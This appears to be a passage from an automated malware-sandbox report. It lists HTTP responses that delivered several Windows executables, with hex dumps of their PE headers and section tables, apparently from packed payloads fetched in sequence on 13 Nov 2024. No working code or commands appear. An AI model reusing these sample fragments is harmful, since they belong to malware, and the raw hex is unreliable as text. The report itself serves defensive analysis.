00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 13 Nov 2024 17:08:36 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 13 Nov 2024 17:08:36 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 13 Nov 2024 17:08:40 GMTContent-Type: application/octet-streamContent-Length: 3272192Last-Modified: Wed, 13 Nov 2024 17:05:43 GMTConnection: keep-aliveETag: "6734dc67-31ee00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 00 32 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 30 32 00 00 04 00 00 5c 95 32 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 e2 31 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 68 e2 31 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 80 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 90 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 92 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 79 6f 75 76 65 72 6e 6c 00 40 2b 00 00 b0 06 00 00 34 2b 00 00 94 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6f 70 78 6f 74 6e 76 78 00 10 00 00 00 f0 31 00 00 04 00 00 00 c8 31 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 00 32 00 00 22 00 00 00 cc 31 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 13 Nov 2024 17:09:09 GMTContent-Type: application/octet-streamContent-Length: 3110400Last-Modified: Wed, 13 Nov 2024 17:05:29 GMTConnection: keep-aliveETag: "6734dc59-2f7600"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f6 ac 34 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ce 03 00 00 c0 00 00 00 00 00 00 00 80 2f 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 2f 00 00 04 00 00 e3 51 30 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 40 05 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 41 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 20 05 00 00 10 00 00 00 20 05 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 30 05 00 00 00 00 00 00 30 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 40 05 00 00 02 00 00 00 30 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 72 6c 64 6b 73 75 75 65 00 20 2a 00 00 50 05 00 00 1e 2a 00 00 32 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 76 61 76 77 6d 70 6f 7a 00 10 00 00 00 70 2f 00 00 04 00 00 00 50 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 80 2f 00 00 22 00 00 00 54 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 13 Nov 2024 17:09:14 GMTContent-Type: application/octet-streamContent-Length: 1784832Last-Modified: Wed, 13 Nov 2024 17:05:35 GMTConnection: keep-aliveETag: "6734dc5f-1b3c00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 40 22 00 00 00 00 00 00 90 68 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 c0 68 00 00 04 00 00 a2 08 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 62 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 a0 24 00 00 00 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 20 2a 00 00 c0 24 00 00 02 00 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 75 6d 68 61 77 74 6d 00 a0 19 00 00 e0 4e 00 00 a0 19 00 00 76 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 6c 75 63 6c 66 75 68 00 10 00 00 00 80 68 00 00 04 00 00 00 16 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 90 68 00 00 22 00 00 00 1a 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 13 Nov 2024 17:09:24 GMTContent-Type: application/octet-streamContent-Length: 2821632Last-Modified: Wed, 13 Nov 2024 17:04:14 GMTConnection: keep-aliveETag: "6734dc0e-2b0e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2b 00 00 04 00 00 96 1c 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 64 75 6c 6a 7a 64 65 6e 00 c0 2a 00 00 a0 00 00 00 ac 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 71 64 6a 6c 74 6f 63 00 20 00 00 00 60 2b 00 00 06 00 00 00 e6 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 80 2b 00 00 22 00 00 00 ec 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Wed, 13 Nov 2024 17:09:39 GMTContent-Type: application/octet-streamContent-Length: 2847744Last-Modified: Wed, 13 Nov 2024 17:09:30 GMTConnection: keep-aliveETag: "6734dd4a-2b7400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2c 00 00 04 00 00 2b ae 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 77 73 78 77 65 62 68 62 00 20 2b 00 00 a0 00 00 00 14 2b 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 69 77 62 6f 77 73 71 00 20 00 00 00 c0 2b 00 00 04 00 00 00 4e 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 e0 2b 00 00 22 00 00 00 52 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
